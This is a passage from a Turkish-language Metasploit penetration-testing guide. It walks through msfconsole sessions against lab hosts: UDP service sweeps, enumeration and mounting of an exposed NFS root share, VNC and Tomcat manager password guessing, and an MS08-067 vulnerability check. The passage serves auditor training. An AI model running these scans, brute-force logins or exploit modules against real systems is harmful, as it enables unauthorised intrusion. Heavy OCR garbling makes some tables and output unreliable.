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msf > notes -h
Usage: notes [-h] [-t <typel,type2>] [-n <data string>] [-a] [addr range]

-a,--add Add a note to the list of addresses, instead of listing
-d,--delete Delete the hosts instead of searching

-n,--note <data> Set the data for a new note (only with -a)

-t <typel,type2> Search for a list of types

-h,--help Show this help information
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by

Examples:

notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41
notes -t smb.fingerprint 10.1.1.34 10.1.20.41

msf > notes

[*] Time: Sat Jul 14 11:46:31 UTC 2012 Note: host=192.168.1.31
type=host.os.nmap_fingerprint data={:o0s_vendor=>"Linux", :os_family=>"Linux",
:0s_version=>"2.6.X", :0s_accuracy=>"98"}

[*] Time: Sat Jul 14 11:46:31 UTC 2012 Note: host=192.168.1.31 type=host.last_boot
data={:time=>"Sat Jul 14 13:45:36 2012"}

[*] Time: Sat Jul 14 11:46:31 UTC 2012 Note: host=192.168.1.31 type=host.nmap.traceroute
data={"port"=>0, "proto"=>"", "hops"=>[{"name"=>"", "address"=>"192.168.1.31", "ttl"=>1,
"rtt"=>0.48}]1}

[*] Time: Sat Jul 14 11:46:32 UTC 2012 Note: host=192.168.1.32
type=host.os.nmap_fingerprint data={:os_match=>"Microsoft Windows XP Professional SP2 or
Windows Server 2003", :os_vendor=>"Microsoft", :os_family=>"Windows",
:os_version=>"2003", :o0s_accuracy=>"100"}

[*] Time: Sat Jul 14 11:46:32 UTC 2012 Note: host=192.168.1.32 type=host.nmap.traceroute
data={"port"=>0, "proto"=>"", "hops"=>[{"name"=>"", "address"=>"192.168.1.32", "ttl"=>1,
"rtt"=>0.5}]1}

Calisma Alanindaki Notlarin Gériintilenmesi

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri Sayfa 57




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

3.2 Yardimci Modiiller ile Bilgi Toplama

Nmap'in yapabilecegi port taramasi, servis analizi, isletim sistemi saptama ve guvenlik
acigl taramasi islemleri bazi durumlarda yeterli gelmeyecektir. Belirli bir servisten daha
sonra kullaniimak Gzere bilgi almak, UDP temelli servislerin kesfi veya servislere yonelik
kullanici/parola analizi gibi adimlar i¢in yardimci moduller kullaniimahdir.

Yardimci modullerin sayisi hergun artis gostermektedir, sadece haritalama amacli degil
bir cok farkli amagla yardimci modul gelistiriimektedir. Veritabanlarina veya uygulama
servislerine kullanici/parola analizi, belirli bir glivenlik a¢igi sonucunda hedeften 6zel bir
bilgi alinmasi veya servislerin kesfinin kolaylastiriilmasi i¢cin ¢ok sayida modul
kullanilabilmektedir.

Nmap'in UDP temelli servis analizi, glivenlik duvari veya teknolojileri olmasi durumunda
verimli calismamaktadir. Bu dogrultuda gelistirilen bir yardimci modil ile, hedef
sistemlere ornek UDP istekleri iceren paketler gonderilerek cevap beklenmesi
hedeflenmigtir. Sadece portun agik olup olmamasi degil, servisin istegi gegerli bulmasi
durumunda; yazilim surum bilgisi gibi bilgileri sunmasina ek olarak, veritabani yapisi
veya sunucu Ozellikleri hakkinda da bilgi sizdirmasi mumkun olabilmektedir. Asagidaki
ornekte, udp_sweep modull secilmis ve calisma alanindaki sistemler hedef olarak
tanimlanmigtir. Sonrasinda es zamanh kag¢ istek goénderilecedini belirlemek Uzere
THREADS tanimi yapilmis ve modul galistiriimistir.

msf > use auxiliary/scanner/discovery/udp_sweep
msf auxiliary(udp_sweep) > info

Name: UDP Service Sweeper
Module: auxiliary/scanner/discovery/udp_sweep
Version: 15394
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <hdm@metasploit.com>

Basic options:

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe in each set

CHOST no The local client address

RHOSTS yes The target address range or CIDR identifier

THREADS 1 yes The number of concurrent threads
Description:

Detect common UDP services
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msf auxiliary(udp_sweep) > hosts -R

Hosts

address mac name os_name os_flavor os_sp purpose
192.168.1.31 00:0C:29:E6:35:DC Linux Ubuntu server

192.168.1.32 00:0C:29:DC:38:09 Microsoft Windows 2003 device

RHOSTS => 192.168.1.31 192.168.1.32

msf auxiliary(udp_sweep) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe in each
set

CHOST no The local client address

RHOSTS 192.168.1.31 192.168.1.32 yes The target address range or CIDR
identifier

THREADS 1 yes The number of concurrent threads

msf auxiliary(udp_sweep) > set THREADS 10
THREADS => 10

msf auxiliary(udp_sweep) > run

[*] Sending 12 probes to 192.168.1.31->192.168.1.32 (2 hosts)

[*] Discovered Portmap on 192.168.1.31:111 (100000 v2 TCP(111), 100000 v2 UDP(111),
100024 v1 UDP(51874), 100024 vi1 TCP(53938), 100003 v2 UDP(2049), 100003 v3 UDP(2049),
100003 v4 UDP(2049), 100021 v1 UDP(60933), 100021 v3 UDP(60933), 100021 v4 UDP(60933),
100003 v2 TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049), 100021 v1 TCP(47498),
100021 v3 TCP(47498), 100021 v4 TCP(47498), 100005 v1 UDP(59607), 100005 vl TCP(60465),
100005 v2 UDP(59607), 100005 v2 TCP(60465), 100005 v3 UDP(59607), 100005 v3 TCP(60465))
[*] Discovered DNS on 192.168.1.31:53 (BIND 9.4.2)

[*] Discovered NTP on 192.168.1.32:123 (Microsoft NTP)

[*] Discovered MSSQL on 192.168.1.32:1434 (tcp=1433 np=\\HACMEONE\pipe\\sql\query
Version=8.00.194 InstanceName=MSSQLSERVER IsClustered=No ServerName=HACMEONE )

[*] Discovered NetBIOS on 192.168.1.32:137 (HACMEONE:<00>:U :HACMEONE:<20>:U
:HACME:<00>:G :HACME:<le>:G :HACME:<1d>:U :## MSBROWSE__ #:<01>:G :00:0c:29:dc:38:09)
[*] Scanned 2 of 2 hosts (100% complete)

[*] Auxiliary module execution completed
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msf auxiliary(udp_sweep) > services -S udp

Services

host

192.168.1.
192.168.1.
100024
100003
100003
100021
100005
192.
192.
192.
192.
192.
192.

vl
v4
v2
v3
v2
168.
168.
168.
168.
168.
168.
:HACME :<00>:G
192.168.1.32

R R R R R

31
31

UDP(51874), 100024 v1 TCP(53938),

port proto
53 udp
111 udp

name

dns

state

open

portmap open

info

BIND 9.4.2

100000 v2 TCP(111), 100000 v2 UDP(111),
100003 v2 UDP(2049), 100003 v3 UDP(2049),
UDP(2049), 1600021 v1 UDP(60933), 100021 v3 UDP(60933), 100021 v4 UDP(60933),
TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049), 100021 v1 TCP(47498),

TCP(47498), 100021 v4 TCP(47498), 100005
UDP(59607), 100005 v2 TCP(60465), 100005

.31
.31
.31
.31
.32
1.

32

2049  udp
51874 udp
59607 udp
60933 udp
123 udp
137 udp

:HACME :<1e>:G

1434  udp

sunrpc
sunrpc
sunrpc
sunrpc
ntp
netbios

mssql

nfsd

open
open
open
open
open
open

open

open

100003
100024
100005
100021

Microsoft NTP

HACMEONE : <00>:U :HACMEONE:<20>:U
:HACME:<1d>:U :## MSBROWSE__#:<01>:G :00:0c:29:dc:38:09
tcp=1433 np=\\HACMEONE\pipe\\sql\query
Version=8.00.194 InstanceName=MSSQLSERVER IsClustered=No ServerName=HACMEONE

192.168.1.32 2049 udp NFS Daemon 100005 vi1

vl UDP(59607), 100005 vl TCP(60465),
v3 UDP(59607), 100005 v3 TCP(60465)

v4
vl
v3
v4

UDP Sweep Modiill ile UDP Servis Analizi

Bilgi toplama sadece ag haritalamasi bi¢ciminde degil servislerden bilgi sorgulamasi
biciminde de olabilmektedir. UDP servis analizi neticesinde sistemlerden birinde RPC
temelli servislerin galistigi gézlenmistir. Bu durum sonucunda RPC guvenlik agiklarinin
arastirilmasi igin c¢alisan servisin ve sunmakta oldugu verinin tard incelenmelidir.
Asagidaki ornekte hedef sistemin RPC servisleri arasinda NFS olup olmadi§i, var ise

hangi NFS paylagimlarinin bulundugu sorgulanmaktadir.

msf

> use auxiliary/scanner/nfs/nfsmount

Name:
Module:
Version:
License:
Rank:

Provided by:

msf auxiliary(nfsmount) > info

NFS Mount Scanner

auxiliary/scanner/nfs/nfsmount

14976

Metasploit Framework License (BSD)

Normal

tebo <tebo@attackresearch.com>

Basic options:

Name

Current Setting Required Description
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RHOSTS yes The target address range or CIDR identifier

RPORT 111 yes The target port

THREADS 10 yes The number of concurrent threads
Description:

This module scans NFS mounts and their permissions.
References:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0170
http://www.iletf.org/rfc/rfc1094. txt

RHOSTS => 192.168.1.31 192.168.1.32
msf auxiliary(nfsmount) > show options

Module options (auxiliary/scanner/nfs/nfsmount):

Name Current Setting Required Description

RHOSTS  192.168.1.31 192.168.1.32 yes The target address range or CIDR
identifier

RPORT 111 yes The target port

THREADS 10 yes The number of concurrent threads

msf auxiliary(nfsmount) > run

[-] 192.168.1.32 - No response
[-] 192.168.1.32 - No response to SunRPC call for procedure: 5
[+] 192.168.1.31 NFS Export: / [*]

[*] Scanned 2 of 2 hosts (100% complete)

[*] Auxiliary module execution completed

to SunRPC PortMap request

msf auxiliary(nfsmount) > hosts -R

Hosts

address mac name 0S_name os_flavor os_sp purpose
info comments

192.168.1.31 00:0C:29:E6:35:DC Linux Ubuntu server
192.168.1.32 00:0c:29:dc:38:09 hacmeone Microsoft Windows 2003 device

NFS Paylasimlarinin Sorgulanmasi
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Sonug incelendiginde 192.168.1.31 IP adresindeki sistemde NFS servisi ¢alistigi ve /
(kok dosya sistemi) icin erisim saglanabilecegi gorulmektedir. Bir glvenlik agiginin
kullanimi igin Metasploit Framework'un kullanimi on kosul degildir, hatta bu ornek gibi
bircok ornekte gerekmeyecektir. Eger NFS paylasimi baglanmak isteniyorsa, bir Linux
sistemde asagidaki yontemle baglanti saglanabilir.

# service portmap start

portmap start/running, process 913
# mount -t nfs 192.168.1.31:/ /mnt/
# mkdir /mnt/deneme

# 1s -1 /mnt/

total 100

drwxr-xr-x 2 root root 4096 May 14 06:35 bin

drwxr-xr-x 3 root root 4096 Apr 28 2010 boot

lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 2 root root 4096 Jul 14 15:30 deneme

drwxr-xr-x 2 root root 4096 May 21 00:29 dev

drwxr-xr-x 95 root root 4096 Jul 14 15:15 etc
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
drwxr-xr-x 2 root root 4096 Mar 17 2010 initrd
Lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img
drwxr-xr-x 13 root root 4096 May 14 06:35 1ib
drwx------ 2 root root 16384 Mar 17 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 17 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
STW------- 1 root root 7263 Jul 14 13:40 nohup.out
drwxr-xr-x 2 root root 4096 Mar 17 2010 opt
dr-xr-xr-x 2 root root 4096 Apr 28 2010 proc
drwxr-xr-x 13 root root 4096 Jul 14 13:40 root
drwxr-xr-x 2 root root 4096 May 14 04:54 sbin
drwxr-xr-x 2 root root 4096 Mar 17 2010 srv
drwxr-xr-x 2 root root 4096 Apr 28 2010 sys
drwxrwxrwt 4 root root 4096 Jul 14 14:46 tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
drwxr-xr-x 15 root root 4096 May 21 00:30 var
Lrwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz

Bir NFS Paylasiminin Baglanmasi
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3.3 Guvenlik Acigi Arastirma ve Yetkisiz Erigsim Saglama

Denetim esnasinda sistemlerden bilgi almak igin kullanilabilecek Metasploit modulleri
gibi, guvenlik acigl aragtirmasi icin de kullanilabilecek moduller bulunmaktadir. Glvenlik
aciginin kullanimi sonucunda kabuk kodu caligtirimayacak ve erigsim saglanmayacak
ise, hazirlanan modul yardimci araglar arasinda yer almaktadir. Yardimci moduller ile
veritabanlarina veya sunucu servislerine kullanici/parola analizi, belirli bir glivenlik agigi
sonucunda hedeften 6zel bir bilgi alinmasi veya bir givenlik agigi sonucu 6zel bir islemi
yuritmek mumkuanddar.

Bazi exploit'lerin ise CHECK 0zelligi bulunmaktadir, bu 6zelligin kullanimi ile agik
kullaniimadan hedef sistemin glvenlik agigini barindirma ihtimali incelenebilir. Ancak bu
Ozellik her zaman guvenilir galigsmayabilece@i gibi hatali bilgi Uretme olasiigina da
sahiptir. Bir guvenlik acigini arastirmak ve dogrulamak i¢in en guvenilir yontem, agigin
kullanim aracini veya yontemini kullanmaktadir. Tabi ki bu durumun en ciddi yan etkileri
arasinda servisin devre disi kalabilmesi, tek seferlik istismar imkani olmasi veya
sunucuya erigimin kesilmesi de yer almaktadir. Bu nedenle exploit'lerin kullanimi ile
guvenlik agigi arastirmasi yapilmasi o6nerilmez, bir guvenlik acigini tek sefer
kullanilacakmig gibi exploit etmek simdilik en guvenli yoldur.

Yardimci araglar ile guvenlik agigi arastirmasi yapabilmek igin araclarin turleri ve
Ozelliklerini biliyor olmak gerekmektedir. Hedef sisteme yapilmis port ve servis analizi,
sonrasinda yapilacak bilgi toplama asamalari girdi olarak kullanilacaktir. Bu dogrultuda
hangi araglarin kullanilabilir oldugu saptanmali ve guvenlik arastirmasi bu dogrultuda
yapilmaldir.

Asagidaki ornekte daha oOnce bilgi toplama asamasindan gec¢mis hedef sistemler
listelenmis ve servisler arasinda VNC servisinin varligi arastiriimistir. Daha sonra ise
192.168.1.31 IP adresindeki sistemde VNC servisinin varligi goériimis ve vnc_login
modulu kullanilarak glavenlik agigr arastirmasi yapilmigtir. Secilen vnec_login modulu ile
VNC servislerine parola denemesi yapilabilmektedir. Denenecek parolalar igin bir parola
dosyasi veya atanacak bir parola kullanilabilmektedir, 6rnegimizde Metasploit ile beraber
gelen bir parola dosyasi kullaniimistir. Yapilan analiz neticesinde VNC sunucusunun
parolasinin “password” oldugu gortulmus ve kolay parola se¢imi yoninde bir glvenlik
acigi saptanmistir.
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msf > hosts

address mac
info comments

192.168.1.31 00:0C:29:E6:35:DC
192.168.1.32 00:0c:29:dc:38:09

name 0Ss_hame

Linux
HACMEONE Microsoft Windows

Services

host

Name
Description

PASSWORD

Name:
Module:
Version:
License:
Rank:

Provided by:
carstein <carstein.sec@gmail.com>
jduck <jduck@metasploit.com>

msf > services -S vnc

port proto name state 1info

192.168.1.31 5900 tcp vnc open VNC protocol version 3.3
msf > use auxiliary/scanner/vnc/vnc_login

msf auxiliary(vnc_login) > info

VNC Authentication Scanner
auxiliary/scanner/vnc/vnc_login
14774

Metasploit Framework License (BSD)
Normal

Basic options:

Current Setting

BLANK_PASSWORDS true

Try blank passwords for all users
BRUTEFORCE_SPEED 5

How fast to bruteforce, from 0 to 5

The password to test

PASS_FILE Jopt/tools/msframework/data/wordlists/vnc_passwords.txt no
File containing passwords, one per line

RHOSTS 192.168.1.31 yes
The target address range or CIDR identifier

RPORT 5900 yes

os_flavor os_sp purpose

Ubuntu server
XP SP2 device

Required
no
yes

no
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The target port
STOP_ON_SUCCESS false yes
Stop guessing when a credential works for a host
THREADS 1 yes
The number of concurrent threads
USERNAME <BLANK> no A
specific username to authenticate as
USERPASS_FILE no
File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no
Try the username as the password for all users
USER_FILE no
File containing usernames, one per line
VERBOSE true yes
Whether to print output for all attempts
Description:
This module will test a VNC server on a range of machines and report
successful logins. Currently it supports RFB protocol version 3.3,
3.7, and 3.8 using the VNC challenge response authentication method.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0506
msf auxiliary(vnc_login) > show options
Module options (auxiliary/scanner/vnc/vnc_login):
Name Current Setting Required
Description
BLANK_PASSWORDS true no
Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes
How fast to bruteforce, from 0 to 5
PASSWORD no
The password to test
PASS_FILE Jopt/tools/msframework/data/wordlists/vnc_passwords.txt no
File containing passwords, one per line
RHOSTS 192.168.1.31 yes
The target address range or CIDR identifier
RPORT 5900 yes
The target port
STOP_ON_SUCCESS false yes
Stop guessing when a credential works for a host
THREADS 1 yes
The number of concurrent threads
USERNAME <BLANK> no
A specific username to authenticate as
USERPASS_FILE no
GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri Sayfa 65




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no
Try the username as the password for all users

USER_FILE no
File containing usernames, one per line

VERBOSE true yes

Whether to print output for all attempts

msf auxiliary(vnc_login) > set RHOSTS 192.168.1.31
RHOSTS => 192.168.1.31
msf auxiliary(vnc_login) > run

[*] 192.168.1.31:5900 - Starting VNC login sweep

[*] 192.168.1.31:5900 VNC - [1/2] - Attempting VNC login with password ''

[*] 192.168.1.31:5900 VNC - [1/2] - , VNC server protocol version : 3.3

[-] 192.168.1.31:5900 VNC - [1/2] - , Authentication failed

[*] 192.168.1.31:5900 VNC - [2/2] - Attempting VNC login with password 'password'’
[*] 192.168.1.31:5900 VNC - [2/2] - , VNC server protocol version : 3.3

[+] 192.168.1.31:5900, VNC server password : "password"

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

VNC Servisine Yonelik Parola Zaafiyeti Analizi

Siradaki ornekte ise bir exploit modullu kullanilarak bir guvenlik arastirmasinin nasil
yapilacagi gosterilecektir. Kullanilacak modul, Microsoft tarafindan yayinlanan
MS08-067 guvenlik duyurusundaki guvenlik acigini istismar etmektedir. Hedef sistemler
arasinda, bilgi toplama esnasinda bu aciktan etkilenebilecek potansiyel sistemler
saptanmigtir. Listede gorilen 192.168.1.32 IP adresindeki Windows XP SP2 isletim
sistemine sahip hedefin, eger guvenlik yamalari yuklenmemis ise agiktan etkilenmesi
muhtemeldir. Bu bilgiler dogrultusunda ms08_067_netapi exploit modull ile CHECK
secene@i kullanilarak 192.168.1.32 |IP adresindeki hedefte glvenlik acigr varhgi
aragtirilacaktir.

msf > hosts

address mac name 0S_name os_flavor os_sp purpose
info comments

192.168.1.31 00:0C:29:E6:35:DC Linux Ubuntu server
192.168.1.32 00:0c:29:dc:38:09 HACMEONE Microsoft Windows XP SP2 device
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msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > info

Name: Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms@8_067_netapi
Version: 15771
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great

Provided by:
hdm <hdm@metasploit.com>
Brett Moore <brett.moore@insomniasec.com>
staylor
jduck <jduck@metasploit.com>

Available targets:
Id Name

Automatic Targeting

Windows 2000 Universal

Windows XP SPO/SP1 Universal

Windows XP SP2 English (AlwaysOn NX)
Windows XP SP2 English (NX)

Windows XP SP3 English (AlwaysOn NX)
Windows XP SP3 English (NX)

Windows 2003 SPO Universal

Windows 2003 SP1 English (NO NX)
Windows 2003 SP1 English (NX)
Windows 2003 SP1 Japanese (NO NX)
Windows 2003 SP2 English (NO NX)
Windows 2003 SP2 English (NX)
Windows 2003 SP2 German (NO NX)
Windows 2003 SP2 German (NX)

Windows XP SP2 Arabic (NX)

Windows XP SP2 Chinese - Traditional / Taiwan (NX)
Windows XP SP2 Chinese - Simplified (NX)
Windows XP SP2 Chinese - Traditional (NX)
Windows XP SP2 Czech (NX)

Windows XP SP2 Danish (NX)

Windows XP SP2 German (NX)

Windows XP SP2 Greek (NX)

Windows XP SP2 Spanish (NX)

Windows XP SP2 Finnish (NX)

Windows XP SP2 French (NX)

Windows XP SP2 Hebrew (NX)

Windows XP SP2 Hungarian (NX)
Windows XP SP2 Italian (NX)

Windows XP SP2 Japanese (NX)

Windows XP SP2 Korean (NX)
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31 Windows XP SP2 Dutch (NX)

32 Windows XP SP2 Norwegian (NX)

33 Windows XP SP2 Polish (NX)

34 Windows XP SP2 Portuguese - Brazilian (NX)
35 Windows XP SP2 Portuguese (NX)

36 Windows XP SP2 Russian (NX)

37 Windows XP SP2 Swedish (NX)

38 Windows XP SP2 Turkish (NX)

39 Windows XP SP3 Arabic (NX)

40 Windows XP SP3 Chinese - Traditional / Taiwan (NX)
41 Windows XP SP3 Chinese - Simplified (NX)
42 Windows XP SP3 Chinese - Traditional (NX)
43 Windows XP SP3 Czech (NX)

44 Windows XP SP3 Danish (NX)

45 Windows XP SP3 German (NX)

46 Windows XP SP3 Greek (NX)

47 Windows XP SP3 Spanish (NX)

48 Windows XP SP3 Finnish (NX)

49 Windows XP SP3 French (NX)

50 Windows XP SP3 Hebrew (NX)

51 Windows XP SP3 Hungarian (NX)

52 Windows XP SP3 Italian (NX)

53 Windows XP SP3 Japanese (NX)

54 Windows XP SP3 Korean (NX)

55 Windows XP SP3 Dutch (NX)

56 Windows XP SP3 Norwegian (NX)

57 Windows XP SP3 Polish (NX)

58 Windows XP SP3 Portuguese - Brazilian (NX)
59 Windows XP SP3 Portuguese (NX)

60 Windows XP SP3 Russian (NX)

61 Windows XP SP3 Swedish (NX)

62 Windows XP SP3 Turkish (NX)

63 Windows 2003 SP2 Japanese (NO NX)

64 Windows 2003 SP1 Spanish (NO NX)

65 Windows 2003 SP1 Spanish (NX)

66 Windows 2003 SP2 Spanish (NO NX)

67 Windows 2003 SP2 Spanish (NX)

Basic options:
Name Current Setting Required Description
RHOST yes The target address
RPORT 445 yes Set the SMB service port

Payload information:
Space: 400
Avoid: 8 characters
Description:

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

This module exploits a parsing flaw in the path canonicalization
code of NetAPI32.d1ll through the Server Service. This module is
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capable of bypassing NX on some operating systems and service packs.
The correct target must be used to prevent the Server Service (along
with a dozen others in the same process) from crashing. Windows XP
targets seem to handle multiple successful exploitation events, but
2003 targets will often crash or hang on subsequent attempts. This
is just the first version of this module, full support for NX bypass
on 2003, along with other platforms, is still in development.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
http://www.osvdb.org/49243
http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.32
RHOST => 192.168.1.32
msf exploit(ms08_067_netapi) > check

[*] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable.

msf exploit(ms08_067_netapi) >
Hedefte MS08-067 Gulivenlik Agiginin Arastiriimasi

Bir diger guvenlik agigi1 arastirma yontemi de, kullanici adi ve parola deneme yanilmasi
ile bir servisin yonetim araylzune erigsimdir. Yonetim arayuzlerinin 6n tanimli veya tahmin
edilebilir parola barindirmasi siklikla karsilasilan bir durumdur. Ornekte hedef sistemler
arasinda Tomcat uygulama sunucusu varligi arastiriilmakta, sonrasinda ise bir sozluk
saldirisi yapilarak yonetici kullanicisi ve parolasi denenmektedir. Yapilan analiz
sonucunda Tomcat uygulama sunucusunun yonetici kullanicisinin tomcat ve parolasinin
tomcat oldugu saptanmigtir.

msf > hosts
Hosts

address mac name 0S_name os_flavor os_sp
purpose 1info comments

192.168.1.31 08:00:27:20:51:9D 192.168.1.31 Linux Ubuntu

server

192.168.1.32 00:0c:29:dc:38:09 HACMEONE Microsoft Windows XP SP2
device
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msf > services -S tomcat

Services

host port proto name state 1info

Manager Application" )

msf > search tomcat

Matching Modules

Name
Description

auxiliary/admin/http/tomcat_administration

Tomcat Administration Tool Default Access
auxiliary/admin/http/tomcat_utf8_traversal

Tomcat UTF-8 Directory Traversal Vulnerability
auxiliary/admin/http/trendmicro_dlp_traversal

TrendMicro Data Loss Prevention 5.5 Directory Traversal
auxiliary/dos/http/apache_tomcat_transfer_encoding

Apache Tomcat Transfer-Encoding Information Disclosure
auxiliary/dos/http/hashcollision_dos

Hashtable Collisions
auxiliary/scanner/http/tomcat_enum

Apache Tomcat User Enumeration
auxiliary/scanner/http/tomcat_mgr_login

Tomcat Application Manager Login Utility
exploit/multi/http/tomcat_mgr_deploy

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > info

Name: Tomcat Application Manager Login Utility
Module: auxiliary/scanner/http/tomcat_mgr_login
Version: 14871
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
MC <mc@metasploit.com>
Matteo Cantoni <goony@nothink.org>
jduck <jduck@metasploit.com>

192.168.1.31 8180 tcp http open Apache-Coyote/1.1 ( 401-Basic realm="Tomcat

Disclosure Date

2010-07-09 00:00:00 UTC
and DoS
2011-12-28 00:00:00 UTC

2009-11-09 00:00:00 UTC

excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution

Rank

normal

normal

normal

normal

normal

normal

normal
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Basic options:
Name Current Setting
Required Description

BLANK_PASSWORDS true
no Try blank passwords for all users
BRUTEFORCE_SPEED 5
yes How fast to bruteforce, from 0 to 5
PASSWORD
no A specific password to authenticate with
PASS_FILE Jopt/tools/msframework/data/wordlists/tomcat_mgr_default_pass.txt
no File containing passwords, one per line
Proxies
no Use a proxy chain
RHOSTS 192.168.1.31
yes The target address range or CIDR identifier
RPORT 8180
yes The target port
STOP_ON_SUCCESS false
yes Stop guessing when a credential works for a host
THREADS 1
yes The number of concurrent threads
URI /manager /html
yes URI for Manager login. Default is /manager/html
USERNAME
no A specific username to authenticate as
USERPASS_FILE
J/opt/tools/msframework/data/wordlists/tomcat_mgr_default_userpass.txt no File
containing users and passwords separated by space, one pair per line
USER_AS_PASS true
no Try the username as the password for all users
USER_FILE J/opt/tools/msframework/data/wordlists/tomcat_mgr_default_users.txt
no File containing users, one per line
VERBOSE true
yes Whether to print output for all attempts
VHOST
no HTTP server virtual host

Description:
This module simply attempts to login to a Tomcat Application Manager
instance using a specific user/pass.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3843
http://www.osvdb.org/60317
http://www.securityfocus.com/bid/37086
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4189
http://www.osvdb.org/60670

http://www.harmonysecurity.com/blog/2009/11/hp-operations-manager-backdoor-account.html
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http://www.zerodayinitiative.com/advisories/ZDI-09-085/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4188
http://www.securityfocus.com/bid/38084
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0557
http://www-01.1bm.com/support/docview.wss?uid=swg21419179
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4094
http://www.zerodayinitiative.com/advisories/ZDI-10-214/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3548

http://www.osvdb.org/60176
http://www.securityfocus.com/bid/36954
http://tomcat.apache.org/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0502

msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.31
RHOSTS => 192.168.1.31

msf auxiliary(tomcat_mgr_login) >
RPORT => 8180

msf auxiliary(tomcat_mgr_login) >

[*] 192.168.1.31:8180 TOMCAT_MGR - [01/56] - Trying username:'admin' with password:''
[-] 192.168.1.31:8180 TOMCAT_MGR - [01/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'admin'

[*] 192.168.1.31:8180 TOMCAT_MGR - [02/56] - Trying username:'manager' with password:''
[-] 192.168.1.31:8180 TOMCAT_MGR - [02/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'manager'

[*] 192.168.1.31:8180 TOMCAT_MGR - [03/56] - Trying username:'rolel' with password:''
[-] 192.168.1.31:8180 TOMCAT_MGR - [03/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'rolel’

[*] 192.168.1.31:8180 TOMCAT_MGR - [04/56] - Trying username:'root' with password:''
[-] 192.168.1.31:8180 TOMCAT_MGR - [04/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'root'

[*] 192.168.1.31:8180 TOMCAT_MGR - [05/56] - Trying username:'tomcat' with password:''
[-] 192.168.1.31:8180 TOMCAT_MGR - [05/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'tomcat'

[*] 192.168.1.31:8180 TOMCAT_MGR - [06/56] - Trying username:'both' with password:''

[-] 192.168.1.31:8180 TOMCAT_MGR - [06/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'both'

[*] 192.168.1.31:8180 TOMCAT_MGR - [07/56] - Trying username:'j2deployer' with
password: "'

[-] 192.168.1.31:8180 TOMCAT_MGR - [07/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'j2deployer'

[*] 192.168.1.31:8180 TOMCAT_MGR - [08/56] - Trying username: 'ovwebusr' with password:"''
[-] 192.168.1.31:8180 TOMCAT_MGR - [08/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'ovwebusr'

[*] 192.168.1.31:8180 TOMCAT_MGR - [09/56] - Trying username:'cxsdk' with password:''
[-] 192.168.1.31:8180 TOMCAT_MGR - [09/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'cxsdk'

[*] 192.168.1.31:8180 TOMCAT_MGR - [10/56] - Trying username:'ADMIN' with password:''
[-] 192.168.1.31:8180 TOMCAT_MGR - [10/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'ADMIN'

[*] 192.168.1.31:8180 TOMCAT_MGR - [11/56] - Trying username:'xampp' with password:''

set RPORT 8180

run
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[-] 192.168.1.31:8180 TOMCAT_MGR - [11/56] - /manager/html [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'xampp'

[*] 192.168.1.31:8180 TOMCAT_MGR - [12/56] - Trying username:'admin' with

password: 'admin'

